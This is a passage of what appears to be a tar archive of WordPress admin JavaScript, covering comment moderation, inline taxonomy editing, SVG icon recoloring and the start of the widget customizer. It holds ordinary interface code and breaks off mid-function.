) { pendingDiff = 1; } else if ( unapproved ) { approvedDiff = 1; } else if ( trashed ) { // The comment was previously approved. if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; // The comment was previously pending. } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } else if ( spammed ) { if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } // You can unspam an item on the Spam screen. spamDiff = -1; // User clicked "Trash". } else if ( targetParent.is( 'span.trash' ) ) { if ( approved ) { approvedDiff = -1; } else if ( unapproved ) { pendingDiff = -1; // The comment was in the spam queue. } else if ( spammed ) { spamDiff = -1; } // You can't trash an item on the Trash screen. trashDiff = 1; // User clicked "Restore". } else if ( targetParent.is( 'span.untrash' ) ) { if ( approved ) { pendingDiff = 1; } else if ( unapproved ) { approvedDiff = 1; } else if ( trashed ) { if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } // You can't go from Trash to Spam. // You can untrash on the Trash screen. trashDiff = -1; // User clicked "Approve". } else if ( targetParent.is( 'span.approve:not(.unspam):not(.untrash)' ) ) { approvedDiff = 1; pendingDiff = -1; // User clicked "Unapprove". } else if ( targetParent.is( 'span.unapprove:not(.unspam):not(.untrash)' ) ) { approvedDiff = -1; pendingDiff = 1; // User clicked "Delete Permanently". } else if ( targetParent.is( 'span.delete' ) ) { if ( spammed ) { spamDiff = -1; } else if ( trashed ) { trashDiff = -1; } } if ( pendingDiff ) { updatePending( pendingDiff, commentPostId ); updateCountText( 'span.all-count', pendingDiff ); } if ( approvedDiff ) { updateApproved( approvedDiff, commentPostId ); updateCountText( 'span.all-count', approvedDiff ); } if ( spamDiff ) { updateCountText( 'span.spam-count', spamDiff ); } if ( trashDiff ) { updateCountText( 'span.trash-count', trashDiff ); } if ( ( ( 'trash' === settings.data.comment_status ) && !getCount( $( 'span.trash-count' ) ) ) || ( ( 'spam' === settings.data.comment_status ) && !getCount( $( 'span.spam-count' ) ) ) ) { $( '#delete_all' ).hide(); } if ( ! isDashboard ) { total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0; if ( $(settings.target).parent().is('span.undo') ) total++; else total--; if ( total < 0 ) total = 0; if ( 'object' === typeof r ) { if ( response.supplemental.total_items_i18n && lastConfidentTime < response.supplemental.time ) { total_items_i18n = response.supplemental.total_items_i18n || ''; if ( total_items_i18n ) { $('.displaying-num').text( total_items_i18n.replace( ' ', String.fromCharCode( 160 ) ) ); $('.total-pages').text( response.supplemental.total_pages_i18n.replace( ' ', String.fromCharCode( 160 ) ) ); $('.tablenav-pages').find('.next-page, .last-page').toggleClass('disabled', response.supplemental.total_pages == $('.current-page').val()); } updateTotalCount( total, response.supplemental.time, true ); } else if ( response.supplemental.time ) { updateTotalCount( total, response.supplemental.time, false ); } } else { updateTotalCount( total, r, false ); } } if ( ! theExtraList || theExtraList.length === 0 || theExtraList.children().length === 0 || undoing ) { return; } theList.get(0).wpList.add( theExtraList.children( ':eq(0):not(.no-items)' ).remove().clone() ); refillTheExtraList(); animated = $( ':animated', '#the-comment-list' ); animatedCallback = function() { if ( ! $( '#the-comment-list tr:visible' ).length ) { theList.get(0).wpList.add( theExtraList.find( '.no-items' ).clone() ); } }; if ( animated.length ) { animated.promise().done( animatedCallback ); } else { animatedCallback(); } }; /** * Retrieves additional comments to populate the extra list. * * @since 3.1.0 * @access private * * @param {boolean} [ev] Repopulate the extra comments list if true. * * @return {void} */ refillTheExtraList = function(ev) { var args = $.query.get(), total_pages = $('.total-pages').text(), per_page = $('input[name="_per_page"]', '#comments-form').val(); if (! args.paged) args.paged = 1; if (args.paged > total_pages) { return; } if (ev) { theExtraList.empty(); args.number = Math.min(8, per_page); // See WP_Comments_List_Table::prepare_items() in class-wp-comments-list-table.php. } else { args.number = 1; args.offset = Math.min(8, per_page) - 1; // Fetch only the next item on the extra list. } args.no_placeholder = true; args.paged ++; // $.query.get() needs some correction to be sent into an Ajax request. if ( true === args.comment_type ) args.comment_type = ''; args = $.extend(args, { 'action': 'fetch-list', 'list_args': list_args, '_ajax_fetch_list_nonce': $('#_ajax_fetch_list_nonce').val() }); $.ajax({ url: ajaxurl, global: false, dataType: 'json', data: args, success: function(response) { theExtraList.get(0).wpList.add( response.rows ); } }); }; /** * Globally available jQuery object referring to the extra comments list. * * @global */ window.theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } ); /** * Globally available jQuery object referring to the comments list. * * @global */ window.theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } ) .on('wpListDelEnd', function(e, s){ var wpListsData = $(s.target).attr('data-wp-lists'), id = s.element.replace(/[^0-9]+/g, ''); if ( wpListsData.indexOf(':trash=1') != -1 || wpListsData.indexOf(':spam=1') != -1 ) $('#undo-' + id).fadeIn(300, function(){ $(this).show(); }); }); }; /** * Object containing functionality regarding the comment quick editor and reply * editor. * * @since 2.7.0 * * @global */ window.commentReply = { cid : '', act : '', originalContent : '', /** * Initializes the comment reply functionality. * * @since 2.7.0 * * @memberof commentReply */ init : function() { var row = $('#replyrow'); $( '.cancel', row ).on( 'click', function() { return commentReply.revert(); } ); $( '.save', row ).on( 'click', function() { return commentReply.send(); } ); $( 'input#author-name, input#author-email, input#author-url', row ).on( 'keypress', function( e ) { if ( e.which == 13 ) { commentReply.send(); e.preventDefault(); return false; } }); // Add events. $('#the-comment-list .column-comment > p').on( 'dblclick', function(){ commentReply.toggle($(this).parent()); }); $('#doaction, #post-query-submit').on( 'click', function(){ if ( $('#the-comment-list #replyrow').length > 0 ) commentReply.close(); }); this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || ''; }, /** * Adds doubleclick event handler to the given comment list row. * * The double-click event will toggle the comment edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @param {Object} r The row to add double click handlers to. * * @return {void} */ addEvents : function(r) { r.each(function() { $(this).find('.column-comment > p').on( 'dblclick', function(){ commentReply.toggle($(this).parent()); }); }); }, /** * Opens the quick edit for the given element. * * @since 2.7.0 * * @memberof commentReply * * @param {HTMLElement} el The element you want to open the quick editor for. * * @return {void} */ toggle : function(el) { if ( 'none' !== $( el ).css( 'display' ) && ( $( '#replyrow' ).parent().is('#com-reply') || window.confirm( __( 'Are you sure you want to edit this comment?\nThe changes you made will be lost.' ) ) ) ) { $( el ).find( 'button.vim-q' ).trigger( 'click' ); } }, /** * Closes the comment quick edit or reply form and undoes any changes. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ revert : function() { if ( $('#the-comment-list #replyrow').length < 1 ) return false; $('#replyrow').fadeOut('fast', function(){ commentReply.close(); }); }, /** * Closes the comment quick edit or reply form and undoes any changes. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ close : function() { var commentRow = $(), replyRow = $( '#replyrow' ); // Return if the replyrow is not showing. if ( replyRow.parent().is( '#com-reply' ) ) { return; } if ( this.cid ) { commentRow = $( '#comment-' + this.cid ); } /* * When closing the Quick Edit form, show the comment row and move focus * back to the Quick Edit button. */ if ( 'edit-comment' === this.act ) { commentRow.fadeIn( 300, function() { commentRow .show() .find( '.vim-q' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } ).css( 'backgroundColor', '' ); } // When closing the Reply form, move focus back to the Reply button. if ( 'replyto-comment' === this.act ) { commentRow.find( '.vim-r' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } // Reset the Quicktags buttons. if ( typeof QTags != 'undefined' ) QTags.closeAllTags('replycontent'); $('#add-new-comment').css('display', ''); replyRow.hide(); $( '#com-reply' ).append( replyRow ); $('#replycontent').css('height', '').val(''); $('#edithead input').val(''); $( '.notice-error', replyRow ) .addClass( 'hidden' ) .find( '.error' ).empty(); $( '.spinner', replyRow ).removeClass( 'is-active' ); this.cid = ''; this.originalContent = ''; }, /** * Opens the comment quick edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @param {number} comment_id The comment ID to open an editor for. * @param {number} post_id The post ID to open an editor for. * @param {string} action The action to perform. Either 'edit' or 'replyto'. * * @return {boolean} Always false. */ open : function(comment_id, post_id, action) { var editRow, rowData, act, replyButton, editHeight, t = this, c = $('#comment-' + comment_id), h = c.height(), colspanVal = 0; if ( ! this.discardCommentChanges() ) { return false; } t.close(); t.cid = comment_id; editRow = $('#replyrow'); rowData = $('#inline-'+comment_id); action = action || 'replyto'; act = 'edit' == action ? 'edit' : 'replyto'; act = t.act = act + '-comment'; t.originalContent = $('textarea.comment', rowData).val(); colspanVal = $( '> th:visible, > td:visible', c ).length; // Make sure it's actually a table and there's a `colspan` value to apply. if ( editRow.hasClass( 'inline-edit-row' ) && 0 !== colspanVal ) { $( 'td', editRow ).attr( 'colspan', colspanVal ); } $('#action', editRow).val(act); $('#comment_post_ID', editRow).val(post_id); $('#comment_ID', editRow).val(comment_id); if ( action == 'edit' ) { $( '#author-name', editRow ).val( $( 'div.author', rowData ).text() ); $('#author-email', editRow).val( $('div.author-email', rowData).text() ); $('#author-url', editRow).val( $('div.author-url', rowData).text() ); $('#status', editRow).val( $('div.comment_status', rowData).text() ); $('#replycontent', editRow).val( $('textarea.comment', rowData).val() ); $( '#edithead, #editlegend, #savebtn', editRow ).show(); $('#replyhead, #replybtn, #addhead, #addbtn', editRow).hide(); if ( h > 120 ) { // Limit the maximum height when editing very long comments to make it more manageable. // The textarea is resizable in most browsers, so the user can adjust it if needed. editHeight = h > 500 ? 500 : h; $('#replycontent', editRow).css('height', editHeight + 'px'); } c.after( editRow ).fadeOut('fast', function(){ $('#replyrow').fadeIn(300, function(){ $(this).show(); }); }); } else if ( action == 'add' ) { $('#addhead, #addbtn', editRow).show(); $( '#replyhead, #replybtn, #edithead, #editlegend, #savebtn', editRow ) .hide(); $('#the-comment-list').prepend(editRow); $('#replyrow').fadeIn(300); } else { replyButton = $('#replybtn', editRow); $( '#edithead, #editlegend, #savebtn, #addhead, #addbtn', editRow ).hide(); $('#replyhead, #replybtn', editRow).show(); c.after(editRow); if ( c.hasClass('unapproved') ) { replyButton.text( __( 'Approve and Reply' ) ); } else { /* translators: Comment reply button text. */ replyButton.text( _x( 'Reply', 'verb' ) ); } $('#replyrow').fadeIn(300, function(){ $(this).show(); }); } setTimeout(function() { var rtop, rbottom, scrollTop, vp, scrollBottom, isComposing = false, isContextMenuOpen = false; rtop = $('#replyrow').offset().top; rbottom = rtop + $('#replyrow').height(); scrollTop = window.pageYOffset || document.documentElement.scrollTop; vp = document.documentElement.clientHeight || window.innerHeight || 0; scrollBottom = scrollTop + vp; if ( scrollBottom - 20 < rbottom ) window.scroll(0, rbottom - vp + 35); else if ( rtop - 20 < scrollTop ) window.scroll(0, rtop - 35); $( '#replycontent' ) .trigger( 'focus' ) .on( 'contextmenu keydown', function ( e ) { // Check if the context menu is open and set state. if ( e.type === 'contextmenu' ) { isContextMenuOpen = true; } // Update the context menu state if the Escape key is pressed. if ( e.type === 'keydown' && e.which === 27 && isContextMenuOpen ) { isContextMenuOpen = false; } } ) .on( 'keyup', function( e ) { // Close on Escape unless Input Method Editors (IMEs) are in use or the context menu is open. if ( e.which === 27 && ! isComposing && ! isContextMenuOpen ) { commentReply.revert(); } } ) .on( 'compositionstart', function() { isComposing = true; } ); }, 600); return false; }, /** * Submits the comment quick edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ send : function() { var post = {}, $errorNotice = $( '#replysubmit .error-notice' ); $errorNotice.addClass( 'hidden' ); $( '#replysubmit .spinner' ).addClass( 'is-active' ); $('#replyrow input').not(':button').each(function() { var t = $(this); post[ t.attr('name') ] = t.val(); }); post.content = $('#replycontent').val(); post.id = post.comment_post_ID; post.comments_listing = this.comments_listing; post.p = $('[name="p"]').val(); if ( $('#comment-' + $('#comment_ID').val()).hasClass('unapproved') ) post.approve_parent = 1; $.ajax({ type : 'POST', url : ajaxurl, data : post, success : function(x) { commentReply.show(x); }, error : function(r) { commentReply.error(r); } }); }, /** * Shows the new or updated comment or reply. * * This function needs to be passed the ajax result as received from the server. * It will handle the response and show the comment that has just been saved to * the server. * * @since 2.7.0 * * @memberof commentReply * * @param {Object} xml Ajax response object. * * @return {void} */ show : function(xml) { var t = this, r, c, id, bg, pid; if ( typeof(xml) == 'string' ) { t.error({'responseText': xml}); return false; } r = wpAjax.parseAjaxResponse(xml); if ( r.errors ) { t.error({'responseText': wpAjax.broken}); return false; } t.revert(); r = r.responses[0]; id = '#comment-' + r.id; if ( 'edit-comment' == t.act ) $(id).remove(); if ( r.supplemental.parent_approved ) { pid = $('#comment-' + r.supplemental.parent_approved); updatePending( -1, r.supplemental.parent_post_id ); if ( this.comments_listing == 'moderated' ) { pid.animate( { 'backgroundColor':'#CCEEBB' }, 400, function(){ pid.fadeOut(); }); return; } } if ( r.supplemental.i18n_comments_text ) { updateDashboardText( r.supplemental ); updateInModerationText( r.supplemental ); updateApproved( 1, r.supplemental.parent_post_id ); updateCountText( 'span.all-count', 1 ); } r.data = r.data || ''; c = r.data.toString().trim(); // Trim leading whitespaces. $(c).hide(); $('#replyrow').after(c); id = $(id); t.addEvents(id); bg = id.hasClass('unapproved') ? '#FFFFE0' : id.closest('.widefat, .postbox').css('backgroundColor'); id.animate( { 'backgroundColor':'#CCEEBB' }, 300 ) .animate( { 'backgroundColor': bg }, 300, function() { if ( pid && pid.length ) { pid.animate( { 'backgroundColor':'#CCEEBB' }, 300 ) .animate( { 'backgroundColor': bg }, 300 ) .removeClass('unapproved').addClass('approved') .find('div.comment_status').html('1'); } }); }, /** * Shows an error for the failed comment update or reply. * * @since 2.7.0 * * @memberof commentReply * * @param {string} r The Ajax response. * * @return {void} */ error : function(r) { var er = r.statusText, $errorNotice = $( '#replysubmit .notice-error' ), $error = $errorNotice.find( '.error' ); $( '#replysubmit .spinner' ).removeClass( 'is-active' ); if ( r.responseText ) er = r.responseText.replace( /<.[^<>]*?>/g, '' ); if ( er ) { $errorNotice.removeClass( 'hidden' ); $error.html( er ); wp.a11y.speak( er ); } }, /** * Opens the add comments form in the comments metabox on the post edit page. * * @since 3.4.0 * * @memberof commentReply * * @param {number} post_id The post ID. * * @return {void} */ addcomment: function(post_id) { var t = this; $('#add-new-comment').fadeOut(200, function(){ t.open(0, post_id, 'add'); $('table.comments-box').css('display', ''); $('#no-comments').remove(); }); }, /** * Alert the user if they have unsaved changes on a comment that will be lost if * they proceed with the intended action. * * @since 4.6.0 * * @memberof commentReply * * @return {boolean} Whether it is safe the continue with the intended action. */ discardCommentChanges: function() { var editRow = $( '#replyrow' ); if ( '' === $( '#replycontent', editRow ).val() || this.originalContent === $( '#replycontent', editRow ).val() ) { return true; } return window.confirm( __( 'Are you sure you want to do this?\nThe comment changes you made will be lost.' ) ); } }; $( function(){ var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk; setCommentsList(); commentReply.init(); $(document).on( 'click', 'span.delete a.delete', function( e ) { e.preventDefault(); }); if ( typeof $.table_hotkeys != 'undefined' ) { /** * Creates a function that navigates to a previous or next page. * * @since 2.7.0 * @access private * * @param {string} which What page to navigate to: either next or prev. * * @return {Function} The function that executes the navigation. */ make_hotkeys_redirect = function(which) { return function() { var first_last, l; first_last = 'next' == which? 'first' : 'last'; l = $('.tablenav-pages .'+which+'-page:not(.disabled)'); if (l.length) window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1'; }; }; /** * Navigates to the edit page for the selected comment. * * @since 2.7.0 * @access private * * @param {Object} event The event that triggered this action. * @param {Object} current_row A jQuery object of the selected row. * * @return {void} */ edit_comment = function(event, current_row) { window.location = $('span.edit a', current_row).attr('href'); }; /** * Toggles all comments on the screen, for bulk actions. * * @since 2.7.0 * @access private * * @return {void} */ toggle_all = function() { $('#cb-select-all-1').data( 'wp-toggle', 1 ).trigger( 'click' ).removeData( 'wp-toggle' ); }; /** * Creates a bulk action function that is executed on all selected comments. * * @since 2.7.0 * @access private * * @param {string} value The name of the action to execute. * * @return {Function} The function that executes the bulk action. */ make_bulk = function(value) { return function() { var scope = $('select[name="action"]'); $('option[value="' + value + '"]', scope).prop('selected', true); $('#doaction').trigger( 'click' ); }; }; $.table_hotkeys( $('table.widefat'), [ 'a', 'u', 's', 'd', 'r', 'q', 'z', ['e', edit_comment], ['shift+x', toggle_all], ['shift+a', make_bulk('approve')], ['shift+s', make_bulk('spam')], ['shift+d', make_bulk('delete')], ['shift+t', make_bulk('trash')], ['shift+z', make_bulk('untrash')], ['shift+u', make_bulk('unapprove')] ], { highlight_first: adminCommentsSettings.hotkeys_highlight_first, highlight_last: adminCommentsSettings.hotkeys_highlight_last, prev_page_link_cb: make_hotkeys_redirect('prev'), next_page_link_cb: make_hotkeys_redirect('next'), hotkeys_opts: { disableInInput: true, type: 'keypress', noDisable: '.check-column input[type="checkbox"]' }, cycle_expr: '#the-comment-list tr', start_row_index: 0 } ); } // Quick Edit and Reply have an inline comment editor. $( '#the-comment-list' ).on( 'click', '.comment-inline', function() { var $el = $( this ), action = 'replyto'; if ( 'undefined' !== typeof $el.data( 'action' ) ) { action = $el.data( 'action' ); } $( this ).attr( 'aria-expanded', 'true' ); commentReply.open( $el.data( 'commentId' ), $el.data( 'postId' ), action ); } ); }); })(jQuery); inline-edit-tax.min.js 0000644 00000005665 15222552267 0010703 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(s,l){window.inlineEditTax={init:function(){var t=this,i=s("#inline-edit");t.type=s("#the-list").attr("data-wp-lists").substr(5),t.what="#"+t.type+"-",s("#the-list").on("click",".editinline",function(){s(this).attr("aria-expanded","true"),inlineEditTax.edit(this)}),i.on("keyup",function(t){if(27===t.which)return inlineEditTax.revert()}),s(".cancel",i).on("click",function(){return inlineEditTax.revert()}),s(".save",i).on("click",function(){return inlineEditTax.save(this)}),s("input, select",i).on("keydown",function(t){if(13===t.which)return inlineEditTax.save(this)}),s('#posts-filter input[type="submit"]').on("mousedown",function(){t.revert()})},toggle:function(t){var i=this;"none"===s(i.what+i.getId(t)).css("display")?i.revert():i.edit(t)},edit:function(t){var i,e,n=this;return n.revert(),"object"==typeof t&&(t=n.getId(t)),i=s("#inline-edit").clone(!0),e=s("#inline_"+t),s("td",i).attr("colspan",s("th:visible, td:visible",".wp-list-table.widefat:first thead").length),s(n.what+t).hide().after(i).after('<tr class="hidden"></tr>'),(n=s(".name",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="name"]',i).val(n),(n=s(".slug",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="slug"]',i).val(n),s(i).attr("id","edit-"+t).addClass("inline-editor").show(),s(".ptitle",i).eq(0).trigger("focus"),!1},save:function(d){var t=s('input[name="taxonomy"]').val()||"";return"object"==typeof d&&(d=this.getId(d)),s("table.widefat .spinner").addClass("is-active"),t={action:"inline-save-tax",tax_type:this.type,tax_ID:d,taxonomy:t},t=s("#edit-"+d).find(":input").serialize()+"&"+s.param(t),s.post(ajaxurl,t,function(t){var i,e,n,a=s("#edit-"+d+" .inline-edit-save .notice-error"),r=a.find(".error");s("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(s(inlineEditTax.what+d).siblings("tr.hidden").addBack().remove(),e=s(t).attr("id"),s("#edit-"+d).before(t).remove(),i=e?(n=e.replace(inlineEditTax.type+"-",""),s("#"+e)):(n=d,s(inlineEditTax.what+d)),s("#parent").find("option[value="+n+"]").text(i.find(".row-title").text()),i.hide().fadeIn(400,function(){i.find(".editinline").attr("aria-expanded","false").trigger("focus"),l.a11y.speak(l.i18n.__("Changes saved."))})):(a.removeClass("hidden"),r.html(t),l.a11y.speak(r.text())):(a.removeClass("hidden"),r.text(l.i18n.__("Error while saving the changes.")),l.a11y.speak(l.i18n.__("Error while saving the changes.")))}),!1},revert:function(){var t=s("table.widefat tr.inline-editor").attr("id");t&&(s("table.widefat .spinner").removeClass("is-active"),s("#"+t).siblings("tr.hidden").addBack().remove(),t=t.substr(t.lastIndexOf("-")+1),s(this.what+t).show().find(".editinline").attr("aria-expanded","false").trigger("focus"))},getId:function(t){t=("TR"===t.tagName?t.id:s(t).parents("tr").attr("id")).split("-");return t[t.length-1]}},s(function(){inlineEditTax.init()})}(jQuery,window.wp); svg-painter.js 0000644 00000006320 15222552267 0007352 0 ustar 00 /** * Attempt to re-color SVG icons used in the admin menu or the toolbar * * @output wp-admin/js/svg-painter.js */ window.wp = window.wp || {}; wp.svgPainter = ( function( $, window, document, undefined ) { 'use strict'; var selector, painter, colorscheme = {}, elements = []; $( function() { wp.svgPainter.init(); }); return { init: function() { painter = this; selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' ); painter.setColors(); painter.findElements(); painter.paint(); }, setColors: function( colors ) { if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) { colors = window._wpColorScheme; } if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) { colorscheme = colors.icons; } }, findElements: function() { selector.each( function() { var $this = $(this), bgImage = $this.css( 'background-image' ); if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) { elements.push( $this ); } }); }, paint: function() { // Loop through all elements. $.each( elements, function( index, $element ) { var $menuitem = $element.parent().parent(); if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) { // Paint icon in 'current' color. painter.paintElement( $element, 'current' ); } else { // Paint icon in base color. painter.paintElement( $element, 'base' ); // Set hover callbacks. $menuitem.on( 'mouseenter', function() { painter.paintElement( $element, 'focus' ); } ).on( 'mouseleave', function() { // Match the delay from hoverIntent. window.setTimeout( function() { painter.paintElement( $element, 'base' ); }, 100 ); } ); } }); }, paintElement: function( $element, colorType ) { var xml, encoded, color; if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) { return; } color = colorscheme[ colorType ]; // Only accept hex colors: #101 or #101010. if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) { return; } xml = $element.data( 'wp-ui-svg-' + color ); if ( xml === 'none' ) { return; } if ( ! xml ) { encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ ); if ( ! encoded || ! encoded[1] ) { $element.data( 'wp-ui-svg-' + color, 'none' ); return; } try { xml = window.atob( encoded[1] ); } catch ( error ) {} if ( xml ) { // Replace `fill` attributes. xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"'); // Replace `style` attributes. xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"'); // Replace `fill` properties in `<style>` tags. xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';'); xml = window.btoa( xml ); $element.data( 'wp-ui-svg-' + color, xml ); } else { $element.data( 'wp-ui-svg-' + color, 'none' ); return; } } $element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' ); } }; })( jQuery, window, document ); customize-widgets.min.js 0000644 00000066641 15222552267 0011377 0 ustar 00 /*! This file is auto-generated */ !function(u,h){var p,f;function c(e){var t={number:null,id_base:null},i=e.match(/^(.+)-(\d+)$/);return i?(t.id_base=i[1],t.number=parseInt(i[2],10)):t.id_base=e,t}u&&u.customize&&((p=u.customize).Widgets=p.Widgets||{},p.Widgets.savedWidgetIds={},p.Widgets.data=_wpCustomizeWidgetsSettings||{},f=p.Widgets.data.l10n,p.Widgets.WidgetModel=Backbone.Model.extend({id:null,temp_id:null,classname:null,control_tpl:null,description:null,is_disabled:null,is_multi:null,multi_number:null,name:null,id_base:null,transport:null,params:[],width:null,height:null,search_matched:!0}),p.Widgets.WidgetCollection=Backbone.Collection.extend({model:p.Widgets.WidgetModel,doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms)&&this.each(function(e){e.set("search_matched",!0)})},search:function(e){var t,i;e=(e=e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),t=new RegExp("^(?=.*"+e+").+","i"),this.each(function(e){i=[e.get("name"),e.get("description")].join(" "),e.set("search_matched",t.test(i))})}}),p.Widgets.availableWidgets=new p.Widgets.WidgetCollection(p.Widgets.data.availableWidgets),p.Widgets.SidebarModel=Backbone.Model.extend({after_title:null,after_widget:null,before_title:null,before_widget:null,class:null,description:null,id:null,name:null,is_rendered:!1}),p.Widgets.SidebarCollection=Backbone.Collection.extend({model:p.Widgets.SidebarModel}),p.Widgets.registeredSidebars=new p.Widgets.SidebarCollection(p.Widgets.data.registeredSidebars),p.Widgets.AvailableWidgetsPanelView=u.Backbone.View.extend({el:"#available-widgets",events:{"input #widgets-search":"search","focus .widget-tpl":"focus","click .widget-tpl":"_submit","keypress .widget-tpl":"_submit",keydown:"keyboardAccessible"},selected:null,currentSidebarControl:null,$search:null,$clearResults:null,searchMatchesCount:null,initialize:function(){var t=this;this.$search=h("#widgets-search"),this.$clearResults=this.$el.find(".clear-results"),_.bindAll(this,"close"),this.listenTo(this.collection,"change",this.updateList),this.updateList(),this.searchMatchesCount=this.collection.length,h("#customize-controls, #available-widgets .customize-section-title").on("click keydown",function(e){e=h(e.target).is(".add-new-widget, .add-new-widget *");h("body").hasClass("adding-widget")&&!e&&t.close()}),this.$clearResults.on("click",function(){t.$search.val("").trigger("focus").trigger("input")}),p.previewer.bind("url",this.close)},search:_.debounce(function(e){var t;this.collection.doSearch(e.target.value),this.updateSearchMatchesCount(),this.announceSearchMatches(),this.selected&&!this.selected.is(":visible")&&(this.selected.removeClass("selected"),this.selected=null),this.selected&&!e.target.value&&(this.selected.removeClass("selected"),this.selected=null),!this.selected&&e.target.value&&(t=this.$el.find("> .widget-tpl:visible:first")).length&&this.select(t),""!==e.target.value?this.$clearResults.addClass("is-visible"):""===e.target.value&&this.$clearResults.removeClass("is-visible"),this.searchMatchesCount?this.$el.removeClass("no-widgets-found"):this.$el.addClass("no-widgets-found")},500),updateSearchMatchesCount:function(){this.searchMatchesCount=this.collection.where({search_matched:!0}).length},announceSearchMatches:function(){var e=f.widgetsFound.replace("%d",this.searchMatchesCount);this.searchMatchesCount||(e=f.noWidgetsFound),u.a11y.speak(e)},updateList:function(){this.collection.each(function(e){var t=h("#widget-tpl-"+e.id);t.toggle(e.get("search_matched")&&!e.get("is_disabled")),e.get("is_disabled")&&t.is(this.selected)&&(this.selected=null)})},select:function(e){this.selected=h(e),this.selected.siblings(".widget-tpl").removeClass("selected"),this.selected.addClass("selected")},focus:function(e){this.select(h(e.currentTarget))},_submit:function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||this.submit(h(e.currentTarget))},submit:function(e){(e=e||this.selected)&&this.currentSidebarControl&&(this.select(e),e=h(this.selected).data("widget-id"),e=this.collection.findWhere({id:e}))&&((e=this.currentSidebarControl.addWidget(e.get("id_base")))&&e.focus(),this.close())},open:function(e){this.currentSidebarControl=e,_(this.currentSidebarControl.getWidgetFormControls()).each(function(e){e.params.is_wide&&e.collapseForm()}),p.section.has("publish_settings")&&p.section("publish_settings").collapse(),h("body").addClass("adding-widget"),this.$el.find(".selected").removeClass("selected"),this.collection.doSearch(""),p.settings.browser.mobile||this.$search.trigger("focus")},close:function(e){(e=e||{}).returnFocus&&this.currentSidebarControl&&this.currentSidebarControl.container.find(".add-new-widget").focus(),this.currentSidebarControl=null,this.selected=null,h("body").removeClass("adding-widget"),this.$search.val("").trigger("input")},keyboardAccessible:function(e){var t=13===e.which,i=27===e.which,n=40===e.which,s=38===e.which,d=9===e.which,a=e.shiftKey,o=null,r=this.$el.find("> .widget-tpl:visible:first"),l=this.$el.find("> .widget-tpl:visible:last"),c=h(e.target).is(this.$search),g=h(e.target).is(".widget-tpl:visible:last");n||s?(n?c?o=r:this.selected&&0!==this.selected.nextAll(".widget-tpl:visible").length&&(o=this.selected.nextAll(".widget-tpl:visible:first")):s&&(c?o=l:this.selected&&0!==this.selected.prevAll(".widget-tpl:visible").length&&(o=this.selected.prevAll(".widget-tpl:visible:first"))),this.select(o),(o||this.$search).trigger("focus")):t&&!this.$search.val()||(t?this.submit():i&&this.close({returnFocus:!0}),this.currentSidebarControl&&d&&(a&&c||!a&&g)&&(this.currentSidebarControl.container.find(".add-new-widget").focus(),e.preventDefault()))}}),p.Widgets.formSyncHandlers={rss:function(e,t,i){var n=t.find(".widget-error:first"),i=h("<div>"+i+"</div>").find(".widget-error:first");n.length&&i.length?n.replaceWith(i):n.length?n.remove():i.length&&t.find(".widget-content:first").prepend(i)}},p.Widgets.WidgetControl=p.Control.extend({defaultExpandedArguments:{duration:"fast",completeCallback:h.noop},initialize:function(e,t){var i=this;i.widgetControlEmbedded=!1,i.widgetContentEmbedded=!1,i.expanded=new p.Value(!1),i.expandedArgumentsQueue=[],i.expanded.bind(function(e){var t=i.expandedArgumentsQueue.shift(),t=h.extend({},i.defaultExpandedArguments,t);i.onChangeExpanded(e,t)}),i.altNotice=!0,p.Control.prototype.initialize.call(i,e,t)},ready:function(){var n=this;n.section()?p.section(n.section(),function(t){function i(e){e&&(n.embedWidgetControl(),t.expanded.unbind(i))}t.expanded()?i(!0):t.expanded.bind(i)}):n.embedWidgetControl()},embedWidgetControl:function(){var e,t=this;t.widgetControlEmbedded||(t.widgetControlEmbedded=!0,e=h(t.params.widget_control),t.container.append(e),t._setupModel(),t._setupWideWidget(),t._setupControlToggle(),t._setupWidgetTitle(),t._setupReorderUI(),t._setupHighlightEffects(),t._setupUpdateUI(),t._setupRemoveUI())},embedWidgetContent:function(){var 